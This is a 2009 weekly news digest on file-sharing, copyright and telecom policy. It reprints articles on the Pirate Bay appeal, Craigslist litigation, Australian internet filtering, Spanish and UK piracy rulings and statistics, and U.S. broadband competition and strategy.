Peer-To-Peer News - The Week In Review - May 30th, '09

[JackSpratts]

Since 2002


































"He’s a movie producer! His nieces are the biggest stars in India." – Melissa Mukerji


"Craigslist stands for an anarchic vision of peer-to-peer exchange, equally free of both procurers and prosecutors. Neither has had any trouble finding its way online." – Mark Gimein


"I got to say, it was the darkest and weakest part of my life, emotionally. I got so big so quickly, I lost sense of reality. I lost my friends and I didn't really have a normal life. All my friends went to college when I was 18 and I went and got famous overnight. So, I was a bit of a train wreck, to say the least." – Dolores O'Riordan


"An attacker could exploit this vulnerability to compromise any Soulseek client connected to
the Soulseek network." – Laurent Gaffié


"I've placed a 256 character limit on all manners of search (distributed, room, userlist) on both the old and new servers. This needs only be done server-side and doesn't require a client update. I hope this should effectively plug the security hole, but will keep looking for any further signs of vulnerability." – Nir



































May 30th, 2009





Net filtering May Not be Mandatory
Andrew Colley

THE Rudd Government has indicated that it may back away from its mandatory internet filtering plan.

Communications Minister Stephen Conroy today told a Senate estimates committee that the filtering scheme could be implemented by a voluntary industry code.

Senator Conroy’s statement is a departure from the internet filtering policy Labor took into the October 2007 election to make it mandatory for ISPs to block offensive and illegal content.

Responding to questions from shadow communications minister Nick Minchin on how the government may go about imposing the internet filtering scheme, Senator Conroy said that legislation may not be required and ISPs may adopt an industry consensus to block restricted content on a voluntary basis.

“Mandatory ISP filtering would conceivably involve legislation … voluntary is available currently to ISPs,” Senator Conroy said.

“One option is potentially legislation. One other option is that it could be (on a) voluntary basis that they (ISPs) could voluntarily agree to introduce it.”

In response Senator Minchin said he had never heard of a voluntary mandatory system.

Senator Conroy responded with “well they could agree to all introduce it”.

The Government is currently spending around $300,000 on an industry filtering trial involving nine internet providers. The results of the trial, which are expected to inform its final policy, are expected to be handed to Senator Conroy in late July or early August.

The estimates committee was told that 30,000 internet users across the nine ISPs had been invited to participate in the trial.

Advisors from within the Department of Broadband, Communications and the Digital Economy took on notice a question as to how many customers had agreed to sign up for the pilot.

Late today a spokesman for Senator Conroy said that the department was not allowed to reveal how many subscribers had participated in the trial due to terms of its agreement with the participating ISPs. He referred to previous statements affirming that the outcome of the trial would not be affected by the number of participants.

“The trial is examining different filtering technologies in a live internet environment. In particular, Enex Testlab will assess the performance of the filter on internet speeds. A scalability assessment will also be undertaken to assess the impact of the filtering solution on internet access speeds with higher levels of traffic and customers,” the spokesman said.

He refused to clarify the minister's comments when asked whether the Labor government was prepared to accept a voluntary ISP-level internet filtering scheme.

The committee was also told that the department had recently agreed to give internet provider Primus around $14,300 to purchase equipment that would help test how the filter would perform when large numbers of customers were involved.

The primary goals of the trial are to measure how accurately the filtering technology can perform in recognising and blocking sites on the communications watchdog’s blacklist of refused classification web pages and its impact on internet speeds.
http://www.australianit.news.com.au/...-15306,00.html





Judge Shields Craigslist from Prosecution in South Carolina
Emanuella Grinberg

A South Carolina judge has ordered the state attorney general's office to stop pursuing criminal charges against Craigslist.com while a lawsuit related to prostitution ads on the popular classifieds site makes its way through the courts.

South Carolina Attorney General Henry McMaster has threatened criminal action against craigslist.

In statements to the media and on his Web site, South Carolina Attorney General Henry McMaster has accused craigslist's operators of not doing enough to eliminate ads soliciting prostitution in accordance with an agreement struck last November with 40 states attorney generals.

Earlier this month, McMaster sent a letter to craigslist CEO Jim Buckmaster accusing the site of failing to "install sufficient safeguards" to prevent it from being used "as a vehicle to advertise or solicit prostitution."

McMaster set a deadline of 5 p.m.May 15 to permanently remove portions of the site "allowing for the solicitation of prostitution and the dissemination and posting of graphic pornographic material" or face criminal prosecution.

In response, craigslist filed a lawsuit on Wednesday seeking to prevent McMaster and his employees from charging the site with crimes related to the ads, claiming that to do so violates craigslist's First and Fourteenth Amendment Rights.

The site also alleges that McMaster's threats of prosecution violate the Communications Decency Act, which states that no "provider or user of an interactive computer service shall be treated as the publisher or speaker of any information provided by another information content provider."

On Friday, Judge Weston Houck granted craigslist's request for a temporary restraining order preventing McMaster and his employees from "initiating or pursuing and prosecution against craigslist or its officers and employees in relation to content posted by third parties on craigslist's Web site" until the court rules on the merits of the site's lawsuit.

Craigslist's lawsuit cites an interview McMaster gave to Fox News on Monday, in which he likened the site "to a hotel or motel owner that knows prostitution is going on on their premises and fails to do anything about it especially after having been told."

The lawsuit contends that, because the site relies on posters for content, McMaster's threats leave craigslist with no choice other than to shut down its South Carolina section or face criminal prosecution.

Craigslist's says that since November, the San Francisco, California-based company has undertaken significant good faith measures to cut back on prostitution-related ads, accounting for an 80 percent reduction in ads in its erotic services subcategory in U.S. cities.

Some of the measures included asking posters for credit card number and telephone verification, implementing keyword filtering, and shuttering the erotic services section altogether, the Web site claims.

In its place, the site established an adult section, where, in addition to the previous measures employed, the ads are also manually reviewed to ensure compliance with the site's Terms of Use, resulting in just 40 ads in the section as of May 18, the lawsuit claims.

"The defensive legal action craigslist has taken against the solicitors and my office is good news. It shows that craigslist is taking the matter seriously for the first time," McMaster said in a post on his Web site on May 20, the day the lawsuit was filed.

"Unfortunately, we had to inform them of possible state criminal violations concerning their past practices to produce a serious response. We trust they will now adhere to the higher standards they have promised."
http://www.cnn.com/2009/TECH/05/23/s...na.craigslist/





Pirate Bay: In Search of an Unbiased Judge
Mats Lewan

The search for unbiased judges in the high-profile Pirate Bay case in Sweden seems never-ending.

Finding legal authorities who are not connected to the people involved in the case is apparently difficult in a country that counts only 9 million inhabitants.

Shortly after the verdict was delivered in mid-April, sentencing the four defendants to jail for one year for having assisted in making 33 copyright-protected files available for distribution, Judge Tomas Norström was accused of having a conflict of interest.

The accusations were based on his membership in organizations such as the Swedish Copyright Association, which counts among its members: Henrik Pontén, Peter Danowsky and Monique Wadsted. All three are lawyers who represented the plaintiffs during the Pirate Bay trial.

Conflict-of-interest accusations were filed by all the four defendants, together with their appeal of the verdict to the High Court of Justice.

Court President Fredrik Wersäll appointed Judge Ulrika Ihrfeldt to investigate the conflict of interest. But shortly afterward, Ihrfeldt revealed that she also had been a member of the Swedish Copyright Association and was removed from the case.

Wersäll then moved the conflict-of-interest investigation to another part of the court system not involved in the main appeal of the verdict.

Judge Anders Eka was appointed to lead the investigation. But the Swedish daily Dagens Nyheter revealed this week that Eka is connected to the Stockholm Center for Commercial Law, a research center at Stockholm University, where lawyers Monique Wadsted and Peter Danowsky also are involved.

Eka told the Dagens Nyheter that he is not a personal friend of the plaintiffs' lawyers and that he has no background in copyright law. Still, he acknowledges that an investigation of him for potential bias could be possible.

Wersäll told the national news agency TT that the investigation of Norström's potential conflict of interest is a high priority and should be finished within a few weeks.

If Norström is found biased, the case will be sent back to the district court. Otherwise, the High Court of Justice will look at the main appeal of the verdict and possibly decide to hold a new trial.

A few days ago, four record companies involved in the case--Universal Music, EMI Music, Sony BMG and Warner Music--solicited the district court to order the defendants and their Internet provider to stop operating Thepiratebay.org, Swedish media reports.

The Web site has been essentially unaffected by the verdict. The four record companies have verified that the site is still helping distribute copyright-protected files and asks the district court to order its closure and impose a fine if it is not closed.
http://news.cnet.com/8301-13578_3-10248264-38.html





Pirate Bay Judge Indeed Handpicked
Ernesto

In the aftermath of the Pirate Bay verdict the controversy surrounding judge Tomas Norström grows bigger and bigger. Most recently, defense lawyer Per E Samuelsson sent a letter to the Appeal Court in which he explains that the younger generation has lost faith in the legal system because of the shady selection procedure.

Unlike other criminal trials in Sweden, the judge in the Pirate Bay trial wasn’t selected at random. Instead, he was chosen because of his expertise with copyright related issues. Indeed, as a member of various pro-copyright organizations, Norström is very involved in the issue.

However, the ties to these lobby groups might also cloud his judgment and thus the verdict, some claim. It is therefore highly dubious that Norström was handpicked and not randomly assigned as is normal procedure in cases like this.

Defense lawyer Per E Samuelsson has now sent a letter to the Court of Appeal where he addresses the issue and seems to confirm earlier rumors he shared with the press. “The young generation’s trust in the judicial system is at stake here,” he told the Swedish news agency (TT) in a comment.

“I don’t want to say that the randomness of judge selection has been fixed, but the case has been handed to Norström mainly because he is considered an expert on copyright. That raises questions since this is a criminal case. A large majority of the young generation believes that what is going on here is a farce,” Samuelsson added.

According to Samuelsson, there is no doubt that all the suspicious connections to pro-copyright groups indicate that Norström had preconceived ideas on the issues addressed during the Pirate Bay trial.

“I have a hard time to let go of the thought that he kept quiet about this because he had the intention of using his opinions in the case. I don’t hesitate for a moment when saying that this is bias,” he said.

Henrik Pontén, lawyer at the anti-piracy bureau didn’t want to comment on Samuelsson’s letter to the Appeal Court, and said he will await the court’s decision due to be announced a few weeks from now.

The Pirate Bay’s Peter Sunde told TorrentFreak that the current developments amount to yet another plot twist in the tragicomedy that their trial has turned into. “We will win in the end,” he said, promising a happy ending.
http://torrentfreak.com/pirate-bay-j...picked-090528/





Pirate Bay Money Squeeze Rejected by Court
Ernesto

The request from four major record labels to fine the Pirate Bay operators for every day the site remains up and running was declined by the Swedish District Court today. Contrary to what the labels had requested, the court said it wants to hear the defendants before it will take any action.

In an attempt to prevent The Pirate Bay from linking to copyright infringing material, Universal, EMI, Sony and Warner have asked the court to issue penalties to the site’s operators for every day they continue to keep the tracker and website online.

In the request to the District Court, music industry lawyer Peter Danowsky had pointed out that The Pirate Bay links to hundreds of music albums to which the record labels own the rights. The labels consequently demanded action, and wanted the Pirate Bay team to remove the torrents, close the site or pay up. The labels further asked the court to apply financial penalties immediately, without hearing the opinions of the defendants.

Interestingly, Pirate Bay’s Peter Sunde has stated that they were never asked by the record labels to remove any of the torrents Danowsky referred to in his request to the District Court. Sunde, who is one of the defendants himself, despised the actions of the record labels and said that they are only interested in money and power, and not the artists they claim to represent.

After reviewing the case, the District Court has denied the labels’ demands today, and said that they will give the Pirate Bay operators a few weeks to state their position in the dispute. The record labels are also given a week to, should they chose, appeal the District Court’s decision to the Court of Appeal.

Judge Caroline Hindmarsh who reviewed the demands and made the decision said: “I don’t think these are circumstances where the case must be tried immediately. Usually you get to make your statement before a demand like this is granted”

The record labels have not yet decided whether to appeal the District Court’s decision. “We will decide tomorrow if we will appeal or not”, said Peter Danowsky in a comment. Meanwhile, The Pirate Bay keeps serving millions of BitTorrent users as usual.
http://torrentfreak.com/pirate-bay-m...-court-090525/





Studios Win Australian Piracy Victory
Renai LeMay

Australian film and music studios have claimed a victory in their war against copyright offenses, with a Sydney man convicted for selling pirated content last week.

Yong Hong Lin, owner of a music and movie store in Eastwood, Sydney, was found guilty of 15 copyright offenses in Sydney's District Court last week, the Australian Federation Against Copyright Theft (AFACT) and Music Industry Piracy Investigations (MIPI) announced in a statement distributed Monday. Lin is scheduled to be sentenced on August 21.

The jury acquitted Lin of 16 of the 31 offenses he was initially charged with.

Police had raided Lin's facility on February 27, the copyright organizations said, finding more than 16,000 pirated music and movie discs offered for sale. Some were allegedly imported from China, and some burned locally.

AFACT and MIPI said the charges were the "first copyright matters to proceed on indictment and be heard before a jury" in Australia. "Mr Lin has been judged by 12 of his fellow Australians and they have found his conduct to be criminal; now he must accept the consequences," said MIPI investigations manager Dean Mitchell.

Neil Gane, AFACT director of operations, said pirates should be in "no doubt" that what he called their criminal actions would be thoroughly investigated, shut down by police, and judged in court.

The copyright duo said criminal penalties for copyright infringement were up to $60,500 and five years imprisonment per offense for individuals, and up to $302,500 for corporations.

Renai LeMai of ZDNet Australia reported from Sydney.
http://news.cnet.com/8301-1023_3-10248869-93.html





Spanish Judge: Downloading 3322 Copyrighted Movies Okay
Ernesto

In Spain, a judge has dismissed a case against a man who downloaded and shared 3322 copyrighted movies on the Internet. Despite efforts from local anti-piracy outfits, the legal system in Spain continues to stand firmly behind those who share music and movies without financial gain.

Today, the Criminal Court of Pamplona ruled that a man didn’t break any laws by downloading thousands of movies and an undetermined number of songs. The defendant was acquitted of copyright infringement charges because there was no evidence that he profited from downloading the movies and music, or sharing them with others.

The judge acknowledged that the man indeed downloaded the files “without consent of the copyright holders” in 2003 and 2004, but ruled that he only did so for for “private use or sharing with other Internet users.” There was no financial gain, so no crime has been committed and the defendant walked free.

This is not the first time a Spanish court has ruled in favor of a file-sharer. In 2006, a man was similarly acquitted, and more recently it was ruled that websites linking to p2p downloads (torrents for example) operate within the law. Spanish law dictates that there has to be “an intent to profit” for someone to be held liable for copyright infringement.

Not everyone agrees with Spain’s liberal view on copyright infringement. According to the US, the Spanish government has done little “to change the widespread misperception in Spain that peer-to-peer file-sharing is legal.” However, as the courts show time and time again, this is no misperception - it is how the law spells it out.

Since sharing files on BitTorrent and other file-sharing networks is legal, it is no surprise that Spain tops the list of countries with the most recorded copyright infringements. Close to 25 million were counted by the piracy tracking company BayTSP in 2008, mostly on BitTorrent.
http://torrentfreak.com/downloading-...-spain-090529/





Spanish Protest Against P2P Restrictions
Howell Llewellyn, Madrid

Hundreds of Internet users protested outside the culture ministry in Madrid to put further pressure on the government not to limit Internet "freedoms," such as unrestricted P2P file-sharing, nor to consider punitive measures against Internet users who download music or films without paying. The government is rumored to be close to announcing radical measures to tackle file-sharing.

Some 300 members of the Internet Users Association (AI), according to police figures, also demanded the annulment of a special tax on devices that can copy music or films, known as the 'digital canon,' and the "universality" of broadband connection and use. The 'digital canon' was imposed last year after being demanded by content suppliers and collecting societies. It is fiercely opposed by Internet groups such as AI.

The protest was called to demand "civil rights, universality, and neutrality in Internet." The demonstrators shouted slogans against new culture minister Angeles González-Sinde, a former president of the Spanish Cinema Academy who has often spoken out against Internet piracy. AI president Victor Domingo described her as "legally incapacitated" because of "her prior association with the world of cinema."

Domingo insisted on the need to use new technologies "as a battlefield in which to fight for our civil rights." These include the "equality of opportunities" to broadband access. He said "there are 4 million Spaniards [out of 46 million] who cannot get access to broadband because of where they live. In addition, we have [in Spain] Europe's slowest and most expensive broadband."

Domingo added that "the contents industry must accept that business models that cannot compete in the new technological scenario have to disappear, and they cannot sustain themselves artificially at the cost of restricting civil liberties."

In a statement, the AI said "to convert public funds into a free bar accessible to just a few, to finance projects without economic viability, or installing privileges such as the 'digital canon,' is not just lacking in solidarity, but is profoundly immoral."
http://www.billboard.biz/bbbiz/conte...fc372ddfe19a86





Seven Million 'Use Illegal Files'
BBC

Around seven million people in the UK are involved in illegal downloads, costing the economy tens of billions of pounds, government advisers say.

Researchers found 1.3m people using one file-sharing network on one weekday and estimated that over a year they had free access to material worth £12bn.

The Strategic Advisory Board for Intellectual Property (SABIP) warned it may be hard to change attitudes.

The government says work must be done internationally to tackle the problem.

Intellectual Property Minister David Lammy said the report put into context the impact illegal downloads had on copyright industries and the UK economy as a whole.

But he added: "This is not an issue confined by national boundaries and I am sure that other [EU] member states and their copyright industries will find this report of use in the development of policy."

An alliance of nine UK bodies representing the creative industries recently joined trades unions in calling on the government to force internet service providers to cut off persistent illegal file-sharers.

They said more than half of net traffic in the UK was illegal content.

The Open Rights Group - a UK based group that works on digital rights and freedoms - said the study illustrated the sheer size of the market.

"We need a compelling 'all you can eat' music service to reduce illicit file sharing," the groups executive director, Jim Killock, told the BBC.

"But [we need] to remember that extreme enforcement measures would probably be very unfair and make people angry."

Copyright confusion

Internet service providers say it is not their job to police the web.

The latest report for the SABIP, said the new generation of broadband access at 50Mbps could deliver 200 MP3 files in five minutes, a DVD in three and the complete digitised works of Charles Dickens in less than 10.

It said the seven million people who access files illegally could not all be students and that many of them were uncertain about what was illegal.

The fact that so much on the internet is free only added to the confusion, it said.

Dame Lynne Brindley, SABIP Board member, said: "This report gives us some baseline evidence from which we can develop a clear research strategy to support policy development in this fast moving area."
http://news.bbc.co.uk/go/pr/fr/-/2/h...gy/8073068.stm





Nesson Speaks: Inside P2P's "David v. Goliath" Story

Op-ed: In this opinion piece, Harvard Law professor Charles Nesson explains why justice compelled him to take on the Joel Tenenbaum file-sharing case, why the RIAA's legal tactics are unacceptable, and how he hopes to take down the music industry "Goliath."
Charles Nesson

Charles Nesson is the William F. Weld Professor of Law at Harvard Law School and co-Founder of the Berkman Center for Internet & Society. Together with a group of his students, he is defending Joel Tenenbaum, accused in federal court of sharing seven songs some years ago through KaZaA. Due to the intense public interest surrounding the case, we have offered Professor Nesson the chance to lay out what's at stake in his own words. His views do not necessarily reflect those of Ars Technica.

Earlier this month my students stood in the rain for nearly seven hours in the heart of Harvard Square, raising money for and awareness of a lawsuit that has captured international attention.

My client is Joel Tenenbaum, a 25-year old physics graduate student at Boston University, and he's being sued by the music companies for sharing seven songs back in 2003 using KaZaA, a file-sharing network comprised of millions of his peers doing likewise. The case has probably spent more time being discussed among the public than it has spent before judges. And, quite frankly, that is the point.

The Recording Industry Association of America (RIAA), which directs these lawsuits, will seek to prove that Joel downloaded those songs willfully and must therefore pay up to $1,050,000 to the record labels.

Joel has already been interrogated for nine hours straight in a forced deposition; has been made to endure the depositions of his mother, father, sister, and friends; and will be compelled to submit his current computer and his privacy to an "expert" of the RIAA's choosing so they can make a mirror image of the hard drive for forensic analysis.

All this for seven songs?

I believe that the RIAA litigation campaign against Joel and the millions of his generation like him is an unconstitutional abuse of law. Imagine a law which, in the name of deterrence, provides for a $750 fine [the lower threshold for statutory damages] for each mile-per-hour that a driver exceeds the speed limit, with the fine escalating to $150,000 per mile over the limit if the driver knew she was speeding.

Imagine that the fines are not publicized, and most drivers do not know they exist. Imagine that enforcement of the fines is put into the hands of a private, self-interested police force that has no political accountability, that can pursue any defendant it chooses at its own whim, that can accept or reject payoffs on the order of $3,000 to $7,000 in exchange for not prosecuting the tickets, and that pockets for itself all payoffs and fines. Imagine that almost every single one of these fines goes uncontested, regardless of whether they have merit, because the individuals being fined have limited financial resources and little idea of whether they can prevail in a federal courtroom.

The intersection between technological norms and law that governs social norms is one of the most academically interesting and practically frustrating issues professionals have grappled with in a long time. Tenenbaum is representative of his born-digital generation in every way. A problematic tension remains between our antiquated copyright laws and the social reality of "digital natives," a term my colleagues John Palfrey and Urs Glasser coined to describe the generation that grew up immersed in digital technologies and for whom a life fully integrated with digital devices that are by design free and open is the norm.

Surely, just because the laws of copyright have not yet fully acknowledged and addressed the ubiquity by which protected information is readily—and freely—available on the Internet, does not make good law moot. But this case illustrates a civil sea change rooted in the transformative nature of technology, of code as law.

Joel's case is indicative of a far greater trend. Better understanding of how today's generations interact with digital media will help us shape our regulatory and educational frameworks in a way that advances the public interest and better promotes "the Progress of Science and useful Arts."
Goliath always wins

Joel, who was a teenager at the time of the alleged file-sharing, is like the 35,000 other individuals who have been sued and cannot afford an attorney to defend themselves. Justice demands, however, that one man not be pilloried without the process due him as a civil right, without good counsel, and without the most rigorous proof that he has committed the wrongs alleged.

The situation speaks to one basic failing of the US legal system: it treats the plaintiff and the defendant as though they are equally powerful entities, regardless of the actual resources each may have. It disregards the fact that the cost of preparing a legal defense for a trial is prohibitively high—unthinkable for any entity other than a wealthy individual or a good-sized corporation. In most of the cases the RIAA has filed, the matter is resolved by the powerful organization threatening to press the suit into court unless individuals agree to their terms unconditionally. The powerful crush the weak. Goliath defeats David every time. This is not the justice for which I live and fight.

Many have argued that if we want to challenge the status quo, changing the law is better pursued via the legislature, not the courts. So why do we choose to fight in court when we could potentially affect policy in other ways? The answer is simple. We did not choose the courts as a venue; the RIAA did when it waged its massive litigation campaign. In that decision, I believe it also chose to abuse our legal process by using courtrooms and judges as small claims courts. Surely the Congress never imagined it would authorize a litigation campaign against pro se noncommercial defendants. In short, Joel is merely fighting back.

Academics and professionals have described my style as unconventional and have accused me of creating an unnecessary circus around this case. But just as Joel is David in his battle against the recording industry's Goliath, so too am I, in the fight against traditional legal norms. Hordes of professors and professionals vehemently disagree with the position I take when it comes to "fair use" in copyright law. I have also raised more than a few eyebrows with my untraditional approaches in court and the openness on my blog and Twitter feed.

Justice demands that those who are treated unfairly take a public stand. After all, David would never have beaten Goliath if he had not taken a chance with his slingshot while all Israel looked on.

By the end of the day, my students raised $156 dollars, which is not even enough money for us to purchase the depositions we need to adequately defend our client in court. But that day—and every day we fight—my students educate hundreds of individuals about the fundamental unfairness that underlies Joel's case. If I can teach my students to educate others about justice and fairness, then we are on the path to winning a much bigger battle.
http://arstechnica.com/tech-policy/n...y-revealed.ars





Pirate Party Backed by Sweden’s Most Prolific Writer
Ernesto

In their race for one or more seats in the European Parliament, the Swedish Pirate Party has gathered support from all layers of society, including some well known public figures. One of them is Lars Gustafsson, one of Sweden’s most prolific writers, who openly expressed his support for the Pirate Party today.

gustafssonLars Gustafsson is a Swedish poet, novelist and literary critic whose controversial writings often go against the establishment. For several years he worked as a professor at the University of Texas teaching philosophy and creative writing, until he retired in 2006.

True to his defiant nature, Gustafsson - who has moved back from Texas to Sweden - is now openly supporting the Pirate Party’s ideologies. In an editorial he wrote for the Swedish news outlet Expressen today, he explains why he decided to vote for this up and coming political movement in the upcoming European elections (translation).

People’s freedoms and privacy on the Internet are at stake according to Gustafsson, something that can be largely attributed to draconian laws that are passed based on proposals put forward by the pro-copyright lobby. Furthermore, patents on medicine and Monsanto’s copyrighted crop have an equally negative impact on people’s freedom and even their health, something the Pirate Party is also strongly against.

“We’re delighted that one of Sweden’s most senior and respected writers came out in full and unreserved support of the Pirate Party”, Rick Falkvinge, leader of the Pirate Party told TorrentFreak. “Not only in support, but he is also spot on in his reasons. Starting his editorial with the story of how the ancient Persian ruler ordered the sea whipped because it gave him unfavorable winds, and moving on to repression of the printing press in France, he has understood the issue thorougly.”

“I can only hope that his piece serves as a wake-up call for parts of the elder creative community that has still to see beyond the lobby propaganda,” Falkvinge added. Luckily Gustafsson is not the only public figure supporting the Pirate’s cause. In fact, many others begin to understand that the anti-piracy and pro-copyright lobbies are overstepping their boundaries. Writer Unni Drougge, who spoke out in defense of The Pirate Bay recently and held a speech at a Pirate Party rally, is also sympathetic towards Sweden’s third largest political party.

“Today I want to distance myself from the greedy and power hungry copyright lobby that willingly plows the field for the Big Brother society, and also give my full support to The Pirate Bay, by donating my latest published book. And I don’t think I’ll lose a penny by doing it,” she wrote in a recent editorial, giving one of her books away for free.

Support for the Pirate Party is still growing in Sweden, especially among those outraged at the recent Pirate Bay verdict. Rick Falkvinge is confident that they will make it into the European Parliament with at least one seat. “I’m extremely optimistic,” he told TorrentFreak earlier. “It’s not a question of ‘a’ seat any more. If everybody who is angry with the Pirate Bay verdict goes to vote, we will get at least one seat, and probably more.”

The European elections take place in early June throughout Europe and early voting has already started in Sweden. The German Pirate Party is also contending for a seat in the European Parliament.
http://torrentfreak.com/pirate-party...writer-090527/





Bloomberg Forbids Mentioning Competitors, or Linking to Them
Ryan Tate

Bloomberg has distributed a policy to newsroom staff on blogging, Twittering and Facebook updating. And in keeping with the company's tyrannical management culture, the rules are far more authoritarian than similar admonitions recently dispensed at the Wall Street Journal, New York Times and elsewhere.

A mole forwarded us the excerpt below. It all but bans personal Web posts and status updates of all sorts. First it outlaws discussion of any topic covered by Bloomberg News. The financial wire covers a huge swath of events — "companies, markets, industries, economies and governments," per its own marketing materials, plus "Arts and culture" and food — leaving little else to talk about.

And even if a Bloomberg journalist does find an allowed topic, he would be hard-pressed to link to or even describe any relevant content, since company policy says staff may not "direct Internet traffic to media competitors or discuss them" (emphasis added).

Not that these rules will necessarily matter; we expect managers will be about as adept at enforcing this policy as they are at stopping other technical blunders (which is to day, not very adept at all).

UPDATE: Bloomberg wrote in to defend its policy, saying links on personal websites might be construed as endorsements of unvetted stories (like, say, that erroneous death report some clumsy financial wire recently published). The company would rather all links be posted to something called "BLOOMBERG PROFESSIONAL(R)". That sounds pretty bloggy and fun!
http://gawker.com/5266146/bloomberg-...inking-to-them





AT&T Poised For Battle With Cable Cos.
Lynn Doan

An epic battle for your television service is beginning to unfold as Connecticut's cable TV companies try to fend off an unlikely upstart — AT&T.

After years of preparation, AT&T is now a credible competitor for cable TV customers in several major Connecticut cities. The Dallas-based company now provides its U-verse TV service in more than half of Connecticut, surging from nine towns in December 2006 to more than 90 cities and towns today.

AT&T said more than 370,000 households in Connecticut could get U-verse, which the company limits to certain neighborhoods based on equipment needs and number of potential customers. The company said it has "aggressive" expansion plans.

That means a full-scale war over Internet, phone and television service is on the horizon, industry experts say.

Turnabout is fair play for AT&T, which has watched for years as cable companies like Comcast nibbled away at its long-standing dominance in land-line telephone service.

"You look five to 10 years down the road, and the big phone company and the big cable company will be competing for the whole enchilada `em telephone, television, Internet and wireless," said Jeff Kagan, an independent telecommunications analyst in Atlanta.

Just one thing is missing as AT&T and cable companies go head-to-head on service enhancements, payment options and customer service: evidence of a price war that would lower monthly bills.

Battle Ads

Dueling advertisements already have sprung from both camps, promoting Internet speed, high-definition content and wireless services only they offer.

On a billboard along I-95 in Bridgeport, AT&T says: "Only AT&T bundles voice, video, Internet and wireless. Cable doesn't."

In a television commercial, Cablevision says: "Only Cablevision has all New York sports teams in HD. The phone company doesn't."

Cable has been emphasizing Internet speeds several times faster than the DSL service offered by AT&T. And shortly after AT&T began boasting about its 112 HD channels on U-verse, Comcast — the state's largest cable provider — began to aggressively advertise its 1,000 HD choices, including on-demand shows, movies and other content.

U-verse, which uses telephone lines to deliver television, phone and Internet service, is seen as "a real threat" to a cable industry that has enjoyed years of dominance hindered only by the onset of satellite TV, Kagan said.

"Cable companies are rushing to improve everything that was broken, everything that the customers didn't like," he said. "That's customer care.

That's the services they offer. And that's the pricing."

While cable prices have risen consistently in recent years, Kagan has been predicting for the past five years that new competition would eventually force cable companies to reduce them.

That hasn't happened yet.

Instead, Comcast began offering new "economy" a la carte services in March for its New England customers that include a local telephone plan for $34.95 a month, a "basic" Internet speed for $39.95 a month and a television lineup of nearly 50 digital channels for $39.95 a month. Combined, the services are cheaper than Comcast's lowest-priced bundle, but they also offer less service. Prices for traditional bundled services remain the same, starting at $129.99 for more than 80 digital channels, unlimited nationwide calling and high-speed Internet.

"We are offering our customers variety and choice so they can determine what levels and products meet their needs and their budgets," Comcast spokeswoman Laura Brubaker said.

The price of U-verse bundles has remained the same since the service launched, starting at $104 a month for up to 70 digital channels, unlimited nationwide calling and basic Internet.

Prices will take time to fall, said Jonathan Atkin, an analyst for RBC Capital Markets who tracks Comcast and AT&T, and their descent probably won't come close to what some are hoping for.

"What we've found here is a duopoly for triple play service-- voice, video and broadband. There are two players, not an overcrowded market," Atkin said. "Both players tend to be disciplined, so it's not like prices are going to get cut in half."

What customers are more likely to notice, he said, are promotional rates, new price-lock guarantees and enhanced services.

"Maybe they'll throw in that higher Internet speed," he said, "but that doesn't reduce your expenses. ... You're not saving any money off that."

Tuning Up Services

U-verse and cable TV have already been competing to offer more content, futuristic features and faster services.

A year ago, Comcast launched AnyRoom On Demand in Connecticut, which allows digital cable customers to watch an on-demand show or movie on one television, pause it, then resume it on another television, as long as the TV has a digital cable box connected to it. AT&T doesn't have that feature.

For its part, AT&T launched Total Home DVR, which allows customers to watch recorded shows and movies on up to eight televisions.

Comcast CEO Brian Roberts announced last year that the company would add 6,000 on-demand movies — 3,000 of them in HD — by the end of this year.

AT&T, meanwhile, has been making regular additions to its HD lineup, just last week announcing six new HD channels from MTV Networks.

In April, Comcast launched its new "wideband" Internet service, which offers downloads at speeds of up to 50 megabits per second, compared with AT&T's DSL speeds of up to 15 megabits per second.

That same month, Cablevision introduced Optimum Online Ultra, saying it was the nation's fastest downstream broadband connection at up to 101 megabits per second.

AT&T has added a new Internet twist, offering customers access to ESPN360.com, where the Bristol-based network webcasts more than 3,500 live sporting events a year.

Last Tuesday, Comcast announced that it, too, will allow its broadband Internet customers access to ESPN360.com and will add ESPNU,
http://www.courant.com/business/cust...,6950417.story





AT&T Says to Double Mobile Data Speeds by 2011

AT&T Inc said on Wednesday it would double its wireless data network speeds as part of an upgrade that it aims to kick off later this year and complete in 2011.

The second biggest U.S. mobile service said its plan, which includes the expansion of its existing wireless data network from 350 metropolitan areas to 370 this year, would be covered by its previously announced capital spending budget of $17 billion to $18 billion for 2009.

The increase to its mobile Web surfing speeds involves an upgrade of a network technology known as High Speed Packet Access (HSPA) that AT&T already uses. The upgrade is expected to increase AT&T's theoretical network speed to 7.2 megabits per second from current levels of 3 megabits per second, the company said.

However, actual network speeds can vary hugely once a network is loaded with customers. AT&T said it would have multiple laptop network cards and smartphones available to take advantage of the upgrade later this year.

The company also said it would start tests for its next network technology upgrade with a technology known as Long Term Evolution (LTE) in 2010 and plans to start building LTE into its network in 2011.

Its bigger rival Verizon Wireless, owned by Verizon Communications Inc and Vodafone Group Plc, plans to already start installing LTE into its network later in 2009, a year ahead of AT&T.

Clearwire Corp is building a rival high-speed network based on WiMax, another emerging technology.

(Reporting by Sinead Carew; Editing by Richard Chang)
http://www.reuters.com/article/techn...54Q4TS20090527





FCC Develops Strategy for Rural Broadband
Marguerite Reardon

Acting FCC Chairman Michael Copps released a report on broadband strategy for rural America on Wednesday.

The report was mandated as part of the 2008 Farm Bill. In that bill Congress asked the Federal Communications Commission to work with the U.S. Department of Agriculture to submit "a report describing a comprehensive rural broadband strategy."

The emphasis on forming a rural broadband strategy came several months before President Obama took office. Obama also sees broadband as a priority and included funding for broadband development as part of the stimulus package passed by Congress earlier this year.

In the American Recovery and Reinvestment Act of 2009, Congress appropriated $7.2 billion for broadband grants, loans, and loan guarantees to be administered by the USDA's Rural Utilities Service (RUS) and the Department of Commerce's National Telecommunications and Information Administration (NTIA). As part of this bill, the FCC is also required to file a report with Congress in February 2010 describing a national broadband policy.

Copps called this report on rural broadband strategy a starting point for developing a national broadband policy. And even with the $7.2 billion of money from the stimulus package, Copps said that more money will be needed to ensure that every American has access to broadband.

Copps identified several issues in this report that must be overcome to get broadband deployed in rural areas. These issues include technological challenges, lack of data about where broadband is available and who is accessing it, and high network costs. Despite these challenges, Copps said that the U.S. government must pour resources into solving these problems just as it did when building the U.S. Postal Service, the railroads, the nationwide electrical grid, the interstate highway system, and even the Internet backbone.

"From the country's earliest days, building the nation's infrastructure has required federal resources and leadership, and this federal role continues," he said in the report. "At their inceptions, some of these projects were controversial. Many considered them too expensive; others doubted their efficacy. Today, few would question their value, but each of these undertakings depended on a strong and coordinated national vision."

More coordination needed

